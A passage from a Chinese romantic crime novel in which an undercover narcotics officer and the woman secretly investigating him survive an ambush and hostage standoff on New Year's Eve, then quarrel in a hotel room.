向邬道低笑一声,他说:“我有一个办法,你想试试么?” 说完这个电话,梁然在电梯门站了好久。 她觉得有一些诡异。 她并不傻,至少她还有理智,知道沈宗野那天晚上见完向邬道后问她要了葡萄录下的视频,是为了向董自新证明他的清白。 向邬道明明就是沈宗野的对手,他们两个怎么可能相安无事地坐在一起。 而这一通电话里向邬道说东山海边有一座老渔场,那里有个董自新以前的部下知道关于轻松一号的事情,梁然可以带沈宗野去那里找人聊聊,说不定沈宗野就会高兴,这样就把他哄好了。 但是有一个非常重要的前提:别先告诉沈宗野。 向邬道刚才在电话里说:“你可以先别告诉他,当做给他一个新年惊喜。到了地方他自己就明白了。” 梁然笑着对向邬道说了谢谢。 可她知道事情没这么简单。 那天晚上向邬道已经亲自见过沈宗野了,还没有要她在场,为什么这么好的事情不亲自告诉沈宗野,让沈宗野感谢他,而是要通过她说出来? 梁然一时想不明白。 但是她敏锐的直觉告诉她,这应该不是一件对的事情,而且这更不像是一个惊喜。 可她又很想见到沈宗野,也许向邬道拿捏的就是她矛盾的心理。 回到公寓,梁然坐了好一会儿才将电话拨给沈宗野,他还是没接。 梁然打给谢天明和云肖,也没有人接她的电话。 他们好像都在躲她,把她当成一个可以随时丢弃的物品。 望着这座被白雪覆盖的城市,梁然的眼神同这片清雪一样冷。 向邬道说的到底是惊喜吗? 她实在不知道怎么确定。 可惜她没办法跟那个藏在暗处的四叶草对上,也没办法再和沈宗野心平气和地坐下来聊。 沉默许久,梁然的眼神沉下来,给沈宗野编辑着消息。 「今天是除夕了,沈宗野,我很想你,虽然你昨晚的疏远让我很难过,可我还是很想陪你过这个春节。」 「我们去海边行吗,再陪我去一个地方,这是我年前的最后一个愿望。」 梁然将手机摁灭,她以为不会有沈宗野的消息,但屏幕突然亮了。 绿野:「想去海边?」 梁然很快打字:「嗯,你终于愿意理我了」 绿野:「海边哪里?」 梁然眉心跳着,不知道该不该听向邬道的,她犹豫了几秒,还是发出了这条消息: 「我想去东山的海边放烟花」 沈宗野没有再回她的文字,而是给她打来电话。 梁然接起手机,心跳都有一些加快。 青年的嗓音依旧磁性低沉,带着淬过雪的寒,又温柔地笑着,透着懒意。 沈宗野说:“梁然,你在哪里,我来接你。” …… 电话另一头的沈宗野说出这句话时,眼神无比的冷。 沈宗野还在昨天的酒店,虽然不想见到梁然,但他没必要换酒店,这里离徐川的住处近,他住在这里方便徐川有事找他。 今天早上,徐川说可能向邬道安排在董自新身边的眼线把他去找过董自新的事情告诉给向邬道了,但如今查不到这个眼线是谁,有两个疑点重的人趁今天除夕回了趟老家,一个人往阳城走,一个人往东山走。 徐川让沈宗野注意向邬道,虽说沈宗野愿意把自己当饵,可对手是乌鱼,毕竟还是太危险。 刚才梁然的信息沈宗野看完都无动于衷,直到看到梁然说海边。 阳城和东山都各自靠海。 梁然之前带他去阳城博物馆找观音像时,他们曾在阳城海边的餐厅吃过饭。 他本来已经排除梁然是向邬道的人了,但是在看到她打出看海,打出东山时,沈宗野还是会失望地想,他真是高看了她。 她还是替了向邬道做事。 谢天明:“梁然明明知道你要葡萄身上的视频就是为了给董叔证明你和乌鱼没勾结,她也不是个愚蠢的人,就看不出来吗!看来她真的是在帮乌鱼做事,就不该信乌鱼的话!” 沈宗野神情漠然,扯下衣帽间里的衬衫,换上一件短款夹克,长裤也换成工装裤,整个人劲练笔挺。他淡淡垂下眼皮,将枪藏在内侧口袋。 谢天明也不再多说,也换起方便行动的衣服:“干架了,真爽,弄死姓乌的!哦,姓向的!” 云肖说:“哥,我去叫人。” 沈宗野点头。 他开车去公寓接梁然。 2017年的最后一天,迎接新年的气氛热火朝天,过道里都张贴着物业的福字。 梁然正在客厅里摆好大鱼做的饭菜,门铃声响起,她打开房门。 沈宗野站在门口,他今天衣着劲挺,有一股锐利的英气。 梁然看着他,眼眶渐渐泛红,但她抿起红唇笑着。 沈宗野也朝她勾起薄唇:“走啊,我来接你。” “要不要先吃年夜饭啊?刚刚楼下都有人放鞭炮了,别人家的年夜饭吃得好早啊。” 沈宗野看了眼腕表:“两点了,先过去再说吧。” “那我去穿衣服。”梁然回房间里穿了外套,拿着车钥匙出来。 葡萄在玩滑滑梯,冲沈宗野喵喵叫着,愉快地扫着小尾巴。 他们要出门,葡萄一口咬住了梁然裤脚。 梁然好笑地弯腰把葡萄抱起来,贴贴它脑袋将门关上。 他们一起向电梯走去,竟然谁都没提起昨晚的事。 梁然坐上了她的车:“我查过路线了,开我车吧。” 沈宗野微微挑眉:“你车技过关么。” “小看我。” 沈宗野没拒绝,坐上梁然的车。 梁然开车很稳,将车驶向向邬道说的路线。 沈宗野坐在副驾驶,他一路很少说话,时不时会看看手机又放下。 梁然播放出音乐,音调放得很小,车子驶向高速,车窗外偶尔有城市里升起的烟花,只是还没到夜晚,烟花在天空里变作一团亮光,又瞬间熄灭。 梁然说:“今天我去公司了,你不在,大鱼给我们做了很多菜,他手艺真好。” 沈宗野淡淡应着。 梁然说:“大鱼跟你多久了啊?” “一两年?”沈宗野说,“记不清了。” “他性格好像蛮好?” 沈宗野扭头懒懒看一眼梁然:“怎么了,我满足不了你?” 梁然心头冷笑,可面上露出娇嗔:“你吃什么醋。” 她终于提起昨晚他的冷暴力:“为什么昨天不见我?都不回我消息。” “昨天和董叔在忙。”沈宗野抽出一支烟没有点,在鼻端嗅着。 “原来是这样。” 可梁然知道沈宗野此刻不过是随便搪塞她一个理由,他今天见到她好像还是很冷淡,连情侣之间的解释与拥抱都不曾有。 “沈宗野,昨天是你25岁生日,祝你生日快乐。” 沈宗野懒洋洋地说:“谢谢。” “昨天还开心吗?” “我对过生日没什么感受。” “但是今天是除夕,你总不能还不高兴吧,要开心一点。”梁然握着方向盘,并没有看沈宗野,但她的嗓音郑重而温柔,“沈宗野,我们会一直这样好下去吗?” 沈宗野低懒地笑了:“你觉得呢?” 他骨节分明的手指把玩着细支烟,懒洋洋转在指尖,梁然的余光里,他连一个眼神都没给她,也懒得再敷衍她这种问题。 梁然的心很凉。 思绪也逐渐冷静了。 她原本在猜向邬道会不会是利用她在设计沈宗野,她要不要阻止。 但她现在没有犹豫了。 不管结局怎么样,都是沈宗野自找的。 梁然不再主动开口,按路线驶下高速。 向邬道说的海边还有些远,她看过地图,还要再开一段小路。 四周渐渐远离城市,白雪堆在道路两侧,好在路面还算平坦。 沈宗野:“还要多久?” “快了。” “你怎么找到这个海边?” “看网上的博主推荐,这里风景很好,是一个可以看到夕阳沉入大海的海滩。” 沈宗野淡笑,看了眼手机。 梁然:“你在和天明联系?” “怎么了,我跟谁联系还要你管?” “没事,你看。” 梁然闭了嘴,不想再跟沈宗野多费一句口舌。 她握着方向盘,一路稳稳开着车。 如果这真是一个陷阱,那就让沈宗野死死踩进这个陷阱吧。 车厢里的音乐都是梁然平时创作时听的歌,一切都是她熟悉的氛围,除了身边的沈宗野。 音乐的节奏舒缓浪漫,梁然在这段音乐声里忽然想着,如果这真的是一个陷阱,那她是不是也在犯罪? 她做这一切是不是违了法? 接近沈宗野她就做好了最坏的打算,但是每次真的面临危险时她又还是会害怕。 比如老万被捕那一晚,她会害怕眼睛里溅到的血让她感染上HIV病毒。 比如李浩想侵犯她时,她会害怕她彻底栽在那里。 对沈宗野的愤怒好像在理智下逐渐冷静下来。 她好像不能这么做。 如果她这么做了,沈宗野真的落入了向邬道的陷阱,他们两边斗起来,她也算是这场违法活动的参与者啊。 而且,她能全身而退么? 车轮碾压地面,急刹拉出尖锐的声音。 梁然倏然调转方向盘,驶向来的方向,将油门踩到底。 惯力险些将沈宗野甩出去,安全带又拉着他狠狠撞回椅背,他撑住车门。 “梁然,你在做什么?” “掉头,我不想看海了。”突然想透彻,梁然说话都带着急喘,“我想回去吃大鱼做的年夜饭,我想回去陪葡萄,沈——” “小心!” 沈宗野突然打住方向盘,猛地往一侧躲避。 砰一声巨响。 梁然整个头部被安全气囊弹回。 发生了什么? 大脑里嗡嗡响着,梁然想抬起手臂,但才发觉她动不了。 这股嗡鸣声一点点消退,梁然终于找回一点知觉。 碎裂的挡风玻璃外冲过来两道人影,一辆面包车停在路边,刚才好像就是这辆车朝他们直直撞了过来,幸好沈宗野及时打了方向盘。 “沈……” 梁然扭头去看沈宗野,沈宗野正掏出一把手。枪,快速地上膛,残疾的大拇指动作利落,他扯掉安全带冲下车,速度快过了梁然的眼睛。 “砰”的枪响让沈宗野侧身贴在了车门外。 梁然艰难地撑着坐起来,越靠越近的两道人影直奔车子,直到打头那张脸清晰地出现在车窗外,是姜义。 姜义眯起狭长的眼睛,一把长枪破窗抵住梁然额头,阴鸷的眼神像一把刀。 他拽起梁然胳膊,几乎是将她毫不留情拖下了车。 而他后面不是一个人,而是四个人。 所有人全都冲向沈宗野,他在和他们打斗,他的子弹似乎都快用光了,藏起了枪,劲挺的腰飞快扭避,出拳十分利落,旋腿一击快得让梁然看不清动作。 梁然被粗糙的大手死死勒住。 姜义冷冰冰盯着她:“今天让你男人好好看看你是怎么死的。” 梁然几乎绝望了。 她知道沈宗野不会救她的。 在这种危险关头,他能自己逃掉已经是万幸,怎么可能还管她的死活。 这里是郊区的一条沿海路,这条路在桥上,姜义拽起她穿过栏杆往桥下去。 沈宗野竟然追上来,原先的四个人已经只剩两人,他还在和他们赤手空拳搏斗。 姜义冷冰冰勾起唇:“你男人打架很厉害。” 梁然浑身冰冷。 她想起了老一辈以前常说有些身弱的人是跨不过年的,是他们的命数。 那今天也是她的命数吗? 她不想这么白白死了。 如果要死,至少她要拉一个沈宗野一起垫背。 “你们很有把握么?”开口时,梁然的声音还是带着颤抖的惧怕。 姜义冷笑:“是啊,老子没有把握能来干他?” “……那你杀了我以后……一定要把沈宗野一起杀掉。” 姜义有些错愕,盯着梁然红肿的眼睛,嗤笑出声:“行,我得成全你,他死你后脚。但你记得奈何桥上等一等他,他应该没全尸,我怕你到时候认不出来。” 梁然浑身颤抖。 路侧,沈宗野钳住对方手臂,长腿迅速扣到对方膝后,一记反向手刀将对方胳膊折弯…… 惨叫连声,沈宗野已经夺下了一把砍刀当武器,干倒姜义的四名手下。 他矫健的身躯跃上路边栏杆,冲到桥下。 雪很滑,桥下的空地满是碎石,没有覆盖积雪。 远处是浅海滩,太阳的碎光铺在水面晃荡。 梁然就在桥下,被姜义的枪抵着太阳穴,红肿的眼睛望着他。 那双桃花眼里的光太复杂,惧怕、后悔、又像是憎恶。 沈宗野收起视线,平复着气息:“姜哥,你没死。” “少跟我装亲热,谁是你哥!” 姜义死死盯着沈宗野身后,半天都看不到一个人来,他恼羞:“你很牛逼啊,一个人干翻我四个人。” “过奖。”沈宗野浮起笑,“我们是朋友,是不是有什么误会?” “别他妈装了,是你卖了干爸?” “我没有。” “那为什么我这边刚动手,干爸那里就来了警察?” “我不知道。”沈宗野冷静地分析,“你当时是回哪里替万哥办事?你在当地找的人都是哪些人,这些年一直都保持联系吗?” 姜义有被问住,但是他的反思只是一瞬间,他的枪口紧贴梁然:“别忽悠老子!你的嫌疑最大。” “我没忽悠你,确实不是我干的,万哥的事我也很痛心。你现在日子应该不好过?”沈宗野语气放缓,“姜哥,你来帮董叔干吧,我让董叔给你个身份,至少不用偷偷摸摸过日子。” “沈宗野,别忽悠老子,我不稀罕。” “那你是和乌鱼联手了?” “他也配。”姜义呸着。 沈宗野在快速思考姜义的话。 姜义既然没跟向邬道联手,那么此刻就是一场意外,他明明让谢天明和云肖带着人跟在他们车后,但是他们到现在都没赶到。 “你还带了人?” 姜义有一瞬间诧异,但是他冷笑说:“是啊,你怕了?” 沈宗野捕捉着姜义细微的情绪变化,猜到姜义目前可能就是一个人了。 如果姜义没有人手帮忙,那谢天明他们多半也在危险中,可能遇到了乌鱼的人。 梁然在半路掉头是因为收到信息要改道? 沈宗野不再去思考,他必须速战速决。 不管梁然是谁的人,作为警察,他都不可能把她的死活丢在这里。 “姜哥,我知道你不信我,但是你现在自己都这么困难,我现在靠着董叔至少还能保你出境外……” “老子就是要你死!” 砰一声,姜义的枪朝沈宗野射出。 沈宗野几乎是在同时闪避,子弹从他头顶擦过,巨大的冲击波刺痛耳膜。 砰。 又是一枪,沈宗野又迅速避过。 脚下几厘米处,泥土炸开。 姜义恼羞地咬牙,把枪怼着梁然。 梁然浑身都在发抖,她眼里刚才所有复杂的情绪全都变作了惧怕,眼泪转在眼眶里,但没有掉落。 到这么危险的关头,她身上竟然带着一股不屈服的倔强。 沈宗野理解不了梁然的情绪,他在姜义手指扣动扳机时飞快射击,姜义的枪掉在了地上,沈宗野扣住扳机,再想射出最后一颗子弹时,姜义掏出了匕首对准梁然脖子。 “有种你射死我。”姜义满眼腥红。 沈宗野说:“我没子弹了。姜哥,她是我玩过的最漂亮的一个女人,大不了我把她给你玩玩,你玩够了还我。” “我从来都不会像你们这群人,精。虫上脑。”姜义恶狠狠盯着沈宗野。 沈宗野冷下了脸:“呵,行,那你爱弄死她就弄死她吧,我既然能找到一个这么漂亮的,就能找到第二个。” 沈宗野不再劝姜义,把枪放回腰间,掏出一支烟点燃。 他抽起了烟,不再理会姜义的怒目。 姜义冷笑:“你以为我不知道你是激我?” 他的匕首划开梁然脖子的皮肤。 血往下流,被梁然白皙的锁骨兜住。 她很痛苦,皮肤上的疼痛和心理上的恐惧让她双腿都快站不稳。 沈宗野紧盯着血流的速度,知道伤口不会致命。 姜义不敢动手,多半是忌讳他身手,在拖时间,等帮手过来。 沈宗野掩下犀利的眸光,脑速极快想着应对之策。 姜义:“心疼吗?你以为我不知道你在用激将法?我下一刀……” “姜哥,下一刀等等我,我接个电话。” 沈宗野的手机传出震动,他从兜里拿出来,懒洋洋吐出口烟对姜义这样说,已经有点摆烂地垂眼接起电话。 是王局。 沈宗野当着姜义的面也只是喊一声叔。 他边听电话边冲冲姜义低笑,恣意地眯眯眼,依旧是那副玩世不恭的模样,好像面对心上人的生死也能不屑一顾了,可以这么淡定地先顾电话。 可是,沈宗野却在那头的声音落地后,眸色晦暗不明。 他的手指有隐约的颤抖,瞳孔好像无比震撼。 他掀起眼皮望向梁然。 白雪满地,海面碎光起伏,她站在桥下的潮湿阴影里,洁白的皮肤盈着一汪鲜红,好看的桃花眼里失了光,如同随时都会化掉的雪人。 沈宗野忽然想起了那个雨夜,在怀城,在一家药房,在那片雨幕。 她像高处清冷的雪,像孤高的玉兰。 电话那头的声音说完了,手机屏幕发着烫,贴着沈宗野的耳朵,连整颗心脏都是灼烫的。 沈宗野掀起眼皮,几乎是在收起手机的同时射出最后一颗子弹。 砰—— 姜义倒在地上,但却挣扎着摇摇爬起来。 梁然已经软下去。 沈宗野冲向她,几米之遥这样漫长,他几乎奔赴全力,膝盖折弯滑跪到梁然身前,她倒下的身躯软在他手臂里。 沈宗野拽起她,身躯高大,眼底有排山倒海的汹涌。 第66章 第66章“分手吧,我腻了。”…… 姜义颤颤巍巍站了起来。 沈宗野不再顾及姜义,横抱起梁然冲上马路。 梁然的车被撞得稀烂,完全开不了,刚才被沈宗野打倒的四个人有两个已经恢复过来,冲着沈宗野围过来。 沈宗野眼眸暗沉。 梁然捂着脖子上的伤口,她把手拿到眼前,满手的血。 她的声音都在发抖:“沈宗野,我会死吗?” “不会。” “好多血啊……” “这才多少血。”沈宗野说,“梁然,有我在,你死不了。” 沈宗野把梁然放到栏杆靠着,又去解决那两个人。 梁然已经有些眩晕,其实血也不多,姜义的第一刀是想吓唬梁然和沈宗野,要沈宗野自乱阵脚。当时姜义的人手没过来,这是缓兵计,姜义知道他可能不敌沈宗野,这一刀是为了拖到手下赶来。 伤口不深,但是划在脖子上当然吓人,尤其是梁然经受这么严重的挟持。 风凌乱地吹着,梁然浑身冰冷,但是逐渐找回理智来。 沈宗野在跟那两个人搏斗,那两个人都有刀,但是沈宗野赤手空拳。 他的身躯修长健硕,出手敏锐矫健。 以他的本事一个人脱身很容易。 梁然不想拖他后腿,沈宗野刚才是真的救了她。 扶着栏杆,梁然撑着虚软的腿跑上了姜义那辆面包车。 她发动引擎,调转车头撞到其中一个男人,对沈宗野喊:“沈宗野,快上车!” 沈宗野不再恋战,矫健的身影跳上车。 这台车也在刚才的撞击下碎了两扇玻璃,梁然开得又快,冷风往车厢里灌,她头发都是凌乱的。 沈宗野说:“我来开。” “不用,我可以。”梁然一路都在踩油门,不停望着后视镜里,惊魂未定的惧怕还灌满心头。 沈宗野看着梁然。 直到梁然察觉到他的视线,偏头望着他。 “安全了。”沈宗野低沉地说。 梁然终于把车靠路边停下,被风吹过的脸颊是红的,眼眶也是红的。 她涌下眼泪,颤抖地摸着脖子上的伤口。 沈宗野从身上找到纸巾按在她伤口上。 他的手指贴着她颈部的皮肤,竟然也带着一点抖动。 梁然终于哭着说:“我不想死。” “知道不想死还敢来。” “我……我只是想来看海。”梁然抱住了沈宗野脖子,“我不看了,我们回去。沈宗野,对不起,我不想把事情变成这样,你别赶我走,我只是太爱你了。” 沈宗野眼眸一片幽深。 他竟然才知道一个震撼的消息,梁然不是任何人的眼线,她只是她自己。 刚才王局在电话里说查到梁然的身份了,她是一个受害者的女儿,那人叫梁幸均,是之前在云朵颜料厂外偷拍时,沈宗野出手救过的那个中年男人。 当时男人拍下了那段视频,是梁然把视频送到警局的。 沈宗野终于知道梁然处心积虑接近他,原来是把他当成了毒贩,要为她爸爸报仇。 沈宗野也终于知道梁然不是一个罪犯,是一个清白的好人。 他把她当成坏人那么久,对她冷漠,让她站在零下十几度的雪夜里。 他是一个缉毒警察,竟然没有看出她的伪装,是他的失败还是梁然的潜伏太优秀了。 梁然埋在沈宗野肩膀上,潮湿的呼吸喷打在他脖颈。 沈宗野将她扶正,盯着她的眼睛:“你原本想去东山哪里看海?” 梁然嘴唇有迟疑的颤动。 “告诉我。” “一个渔场,还在后面,还有十几公里……” “在地图哪里?找出来给我看。” 梁然打开地图,手指有些发抖,她放大那个坐标。 沈宗野沉声说:“换位置,我来开。” 梁然:“我不想看了,我想回去……” 她才发现沈宗野确实是掉头往回走的,离地图上的坐标越来越远。 “给天明打电话。”沈宗野沉声吩咐。 他的声音锐利,像是命令。 梁然都照做,她现在不想失去沈宗野,今天闯出这么大的祸,她必须要想好解释继续留在他身边。 谢天明的电话终于接通,手机里是一片嘈杂声和谢天明的喘息。 “你们在哪儿?” “哥?我们拐弯的时候被截了,幸好人不多,能应付。” “要我过来么?” “不用。” 沈宗野说:“好,处理完回去,等我信。” 梁然等他们说完挂了电话。 这下连谢天明也连累了,她大脑飞快转着,可是不知道要想什么解释,她睫毛颤动,望着沈宗野。 青年的侧脸硬朗英挺,额头有打斗时留下的青紫,下颌骨沾着泥,但索性身上没有其他外伤。 他的身手梁然见识到了,比那天晚上斗老万时还要犀利冷酷,尤其是对姜义开出的那一枪。 当时梁然所有的希望全在沈宗野身上,视线里全是他,他的眼神晦暗不明,她以为他接完电话不再管她的死活,要直接灭了姜义。 他身上全是一股锐利的杀气。 想到这里,梁然依旧会发抖,玻璃碎裂的车厢里灌满冷风,吹得梁然浑身起了冷颤,太阳穴的神经突然撕扯着头皮,梁然又开始偏头痛起来,她捂住额头。 沈宗野不发一言,薄唇紧绷。 梁然想说一些话,她张了张唇:“对不起——” “这是你该来的地方么?” 沈宗野冷冰冰地打断她。 他的语气除了冷淡,竟然还有一股难以言说的情绪。 梁然红唇微张,沈宗野调转车头,踩着急刹,将车停在路边。 “下车。” 梁然看了看车窗外,他们竟开到了一处海边,夕阳正在落下,海面铺开玫瑰色的光,美得像一幅画。可是梁然没有看画的心情,她对上沈宗野冰冷的眼眸。 他的眼睛太深邃,那些起伏跌宕的情绪她全都无法读懂。 她下了车。 沈宗野将车往前面的路口开,直奔大海。 面包车急速下滑,梁然脱口喊他的名字:“沈宗野——” 车头沉入水面的同时,沈宗野修长的身躯从后备箱跃下来。 他重新回到她身边,拽住她手腕快步往前走。 这里本来就很偏僻,加上今天除夕,整条沿海路一个人也没有,好在路边有一排自动售货机。 沈宗野看了眼梁然脖子上的伤口,扫码取了一瓶矿泉水和一包湿纸巾。 他用湿巾和水在清洗她的伤口。 冰冷的触感让梁然睫毛颤动着。 沈宗野垂着眼皮,微抿薄唇:“疼吗?” “不疼了……” 梁然只是害怕沈宗野嫌她事多才说不疼。 如果在以往,沈宗野会恣意地挑挑眉,懒洋洋说她口是心非。 但是现在他什么都没说,擦干净她脖子上的伤口后牵住她的手跨过地面的雪堆,继续沿着路标前行。 夕阳沉入海面,玫瑰色的霞光也隐入夜幕降临的天际。 直到天色完全暗下来,夜幕吞噬着这座冰雪一样的城市,他们走到了这座小城的市区里。 沈宗野进到一家酒店,向前台要了一间豪华套房。 他把房卡给梁然。 梁然紧紧望着他,握住他的手。 “你别赶我走。” “先上去。” “你别丢下我。”梁然牵着他的手不放。 沈宗野的眼眸幽深,梁然读不懂他的情绪,如果往常他也许还会冷淡地敷衍她,可他现在目光太深邃,她已经看不透他在想什么。 沈宗野抽出手:“我去给你买药。你吃什么?” 梁然微怔:“我不去医院吗?” “伤口不深,刀锋看着干净,没有锈迹血迹,应该不至于打破伤风或者吃阻断药,你想去医院?” 沈宗野说话时十分冷静,他好像没有波动的情绪。 梁然说:“那我听你的。” “晚饭吃什么?” “我都可以。” 沈宗野走出酒店的旋转门,穿进风雪夜,这个挺拔修长的背影忽然又像是笼罩着一股无畏的孤勇。 梁然不明白为什么会在他身上第三次拥有这样的错觉。 她回到酒店房间。 酒店是他们从海边徒步走过来最近的一家,没经过挑选,豪华套房自然也不算多高档,但好在入眼干净。 梁然站在镜子前看脖子上的伤口,伤口确实不深,这会儿早就不出血了,凝结成一条浅浅的血痂。 房间里暖气很足,梁然脱下外套去洗了澡,没有睡衣,出来时她重新穿上软薄的羊绒毛衣,反正也是下午那会儿出门时才换的。 她坐了有半个小时,这一刻太想梁悦,她给梁悦拨去电话,梁悦没有接听,她发了好几条微信过去,问梁悦年夜饭吃的什么,这会儿是不是在和张姨看春晚。 门铃响了,梁然起身去开门,沈宗野站在门口,手上拎着很多袋子,竟还有一杯奶茶。 酒店昏黄的廊灯镀着他轮廓分明的脸。 梁然紧紧扑进他怀里,如释重负沈宗野真的回来了。 她看着他,眼眶红红的,接过他手上的袋子。 沈宗野对她的眼神无动于衷,他好像比从前的所有时刻都更冷漠。 他将买来的药都拿出来,利落地拧开双氧水和碘酒,为梁然的伤口消毒包扎。 梁然坐在沙发上,沈宗野半蹲在她身前,处理好后把药拧上。 梁然弯腰埋在他肩膀上。 沈宗野对梁然的怀抱没有任何肢体语言,他的脊背只是比以往的每一次好像更僵硬。 他在她开口喊出他名字时退开了这个怀抱,淡淡说:“先吃饭。” 菜实在简单,简直不像过年,外面实在没有餐馆开业,沈宗野这几个菜是走了好几家餐馆才遇到一家愿意给他炒的。 一条清蒸鲈鱼,一道炒三鲜。 鲈鱼还是餐馆老板自己家年夜饭做多的。 沈宗野把一次性筷子掰开给梁然。 他大口地吃饭,没有往日慵懒惬意的调调。 他夹的几乎都是那盘炒三鲜,把里面素的和青椒都吃了,鱼和肉留给了梁然。 梁然将刺少的鱼背夹给沈宗野,她吃着这顿年夜饭,吃相一如往常的细嚼慢咽,姿态优雅得像吃高级餐厅。 沈宗野那盒米饭很快就吃完了,他搁下了筷子,起身说:“我打个电话。” 梁然觉得气氛有些沉默。 她害怕沈宗野赶她走,不管怎么样,她还是想留下来找到证据。 她今天做错事了,该怎么办才能让沈宗野继续和她在一起? …… 酒店的长廊很安静,沈宗野推开安全通道的门,在步梯拐角的窗口打着这个电话,电话的那头是王局。 王局在严肃地问沈宗野梁然有没有搅合案子的进程,参与了多少。 沈宗野如实答着,从把她对照成向邬道的眼线,到她在他经费短缺时提供支撑。 王局冷笑:“你这么说是说她还帮了你了?” 沈宗野只是说:“您打算叫谁来?” 沈宗野在安排梁然离开。 她已经卷进这趟浑水了,董自新知道她,向邬道知道她,她随时都会有超出他掌控的危险。 王局说:“我联络宁城当地的禁毒局,叫他们来把人押走吧。” 押走。 沈宗野沉默了片刻:“怀城分局有个叫林甄的警察,我记得他当时暗查过我一个月,让他来吧。” 挂了电话,沈宗野望着窗外静默的夜晚。 他能做的只有这么多。 那个叫林甄的警察暗查过他,至少应该和梁然关系很好才会帮梁然做到那一步。 沈宗野返回房间。 桌上的餐盒已经全收进了便利袋里,桌面干净,落地窗还开着一扇透风。 梁然从盥洗室里出来,停在他身前时,那股孤高的玉兰香又在无形的暗处扩散,尾调带着雪的清寂。 沈宗野眼眸深邃,切换进卧底的状态。 他是一个潜伏在缉毒隐蔽线上的警察,他不会允许他的状态有意外。 他勾起一丝冷笑:“为什么突然想去东山看海啊?” 梁然有些犹豫。 “梁然,你现在说的每一个字都最好别骗我,否则你知道下场。” “沈宗野……今天不是我想带你去那里,是向邬道告诉我的。”梁然说,“他告诉我那里有一个渔场,里面有一个人是董叔的老部下,知道轻松一号的事情。向邬道说这是一个惊喜,你可能会喜欢。对不起……” 沈宗野问:“为什么突然掉头折返?” “因为我察觉如果向邬道是想害你怎么办,对不起,我真的不知道会发生今天的事,我好自责。”梁然圈住沈宗野的腰,紧紧抱他。 沈宗野将她推开,她却抱得更紧。 落地窗外忽然升起烟花,跨年的时间还没到,不知道是谁家忍不住提前点燃烟花。 绚烂的火光升上夜空,又急速熄灭。 梁然浑身滚烫,紧紧拥着沈宗野。 沈宗野看着那扇打开的窗,冷风灌进来,让他的理智时刻跟这场凛冽的风同步。 “呵呵,良心发现?”沈宗野的嗓音无比冷漠。 “梁然,我觉得你太蠢了,长得这么漂亮有什么用,再好看的脸配这么蠢的脑子,也索然无味了。” “分手吧,我腻了。”沈宗野说。 第67章 第67章辜负这么好的女孩子是他…… 梁然怔怔地看他,双唇张合着,却一时没有说出话。 沈宗野坐到了沙发上,拆开一包酒店的烟点燃,懒洋洋搁下打火机。 金属外壳的打火机撞在玻璃茶几上,发出清脆的响,是这死寂一般的房间里唯一的声音。 “沈宗野,我会改的。”梁然蹲在沈宗野身前,紧紧看着他的眼睛,“我以后不会再惹你生气了,也不会再和任何你生意上的人接触。” “我生意?”沈宗野掀起眼皮,恣意地笑了,“你知道老子做什么生意?” 梁然嘴唇颤动:“贩,毒。” 沈宗野沉下脸来,他倏地盯着她,幽深的瞳孔像汪洋深域,他忽然捏住梁然的下巴,另一只手掌控着她的腰,将她粗暴地按在沙发上。 他的动作实在没有一点温柔可言,甚至像对待一直待宰的鱼。 “你就不怕死吗?” 梁然确实被他吓到了,她睫毛不安地颤动,但是却毫不畏惧迎上沈宗野的眼睛:“我不怕。” 沈宗野几乎压制不住他的愤怒。 她知道她在做什么吗? 她只是幸运,遇到的人是他。如果遇到的是别人,她早就死了十回。 梁然白皙的手攀上沈宗野青筋突起的手臂,拿开捏住她下巴的手指。她抚摸着他这只拇指缺失的左手,吻了他大拇指上丑陋的瘢痕。 “刚刚那杯奶茶是我喜欢的低糖,是热的,你知道我吹风会偏头痛,你完全可以不买它,但是你买了。” “沈宗野,在怀城那个下雨的下午相遇的时候,我就觉得你不一样,即便你戴着口罩,你的眼睛还是和别人不同,即便我看不见你的脸,我依旧觉得你的气质不同,你的背影也不一样,那样无畏。” “我不知道你为什么会走上贩毒这条路,但是你选择了,那我也会这样无畏地选择你……” “够了,老子不稀罕。”沈宗野冷冰冰打断。 梁然眼眶红了,有眼泪从她睫毛里涌下来。 “李浩欺负我的时候你帮我了,我知道你不一样。” “你还记得夏天的时候我追到你公寓门口,把门禁卡还给你时对你说的话吗?我说‘你有没有坚持过一件事,可能你明明没看到多大希望,但是也想努力坚持一下,也许再继续坚持一下就能看到那股希望了’。” “你还记得吗?” “不记得。”沈宗野声音冷淡。 梁然沉默地望着他,一行泪挂在脸颊。 沈宗野十分地漠然,他不去抱她,也不再像从前那样即便敷衍却也愿意维系表面上的关系帮梁然擦眼泪。 他应该逼她走,让她远离这个九死一生的地方。 沈宗野从沙发上起身,客厅里灌进一股冷风,吹动窗前的白纱窗帘,沈宗野关掉了那扇透风的窗。 梁然从他背后抱住他。 她的手臂很紧,柔软的身体贴着他宽阔的脊背。 沈宗野看着玻璃上的人影,冷漠地掰开她手指。 “沈宗野,你还是个男人吗!” “我说了我会改,今天我是带给你危险了,是我愚蠢,可是我已经意识到错误了,难道你对我的冷暴力就是对的吗?我可以允许你对我忽冷忽热,这些我都接受,你就不可以原谅我这一次么?” 梁然眼眶湿红,白皙的脸颊有情绪起伏的薄红,她的眼睛太他妈深情了,深深地看着沈宗野,安静流下眼泪,让沈宗野觉得辜负这么好的女孩子是他的罪。 可这是她演的戏,沈宗野知道。 他忽然有些想要苦笑,她是被毒贩毁掉了亲人,拆碎了家庭。 而他也是。 可这也许仅仅只是他们唯一的相似之处吧。 第68章 第68章细数着烟花爆破声和他的…… 沈宗野恣意地勾起薄唇,眼神无比淡漠:“知道我对你冷暴力就该离老子远一点。” “今天除夕,我不赶你走,明天一早,给老子滚蛋。” 沈宗野进了盥洗室,狠狠摔上门。 他在里头呆了很久。 谢天明给他来了电话说起他们都已经安全回到公寓,问起他在哪儿,又问起梁然的情况。 沈宗野说:“明天再说。” 他挂了电话,洗完澡穿上衬衫出来。 房门打开的瞬间,梁然扑在他怀里。 她的身体很柔软,头发有着乌黑的光泽,仰起脸看他,眼里是委屈又娇嗔的情深。 她把他的手掌覆在了那里,沈宗野一动不动垂下汹涌的眼眸。 他见过盛夏硕果累累的桃树,蜜桃的形状充满香甜的气息。 “你想分手?” “那至少也要再爱我一次,或者再帮我一次吧。你不怕分手之后我到处去传你作为一个男的,一点也不行?” 沈宗野喉结轻滚,耳垂有蔓延的红,但是他并不知道,他只是依旧克制着眸底欲盖弥彰的怒意,脖颈上的青筋拉扯跳动。 梁然踮起脚尖吻了他的唇。 沈宗野薄唇紧绷,捏开她的脸。 梁然咬了咬唇,又欺身吻他。 沈宗野气息粗沉,张唇的间隙让梁然闯入。 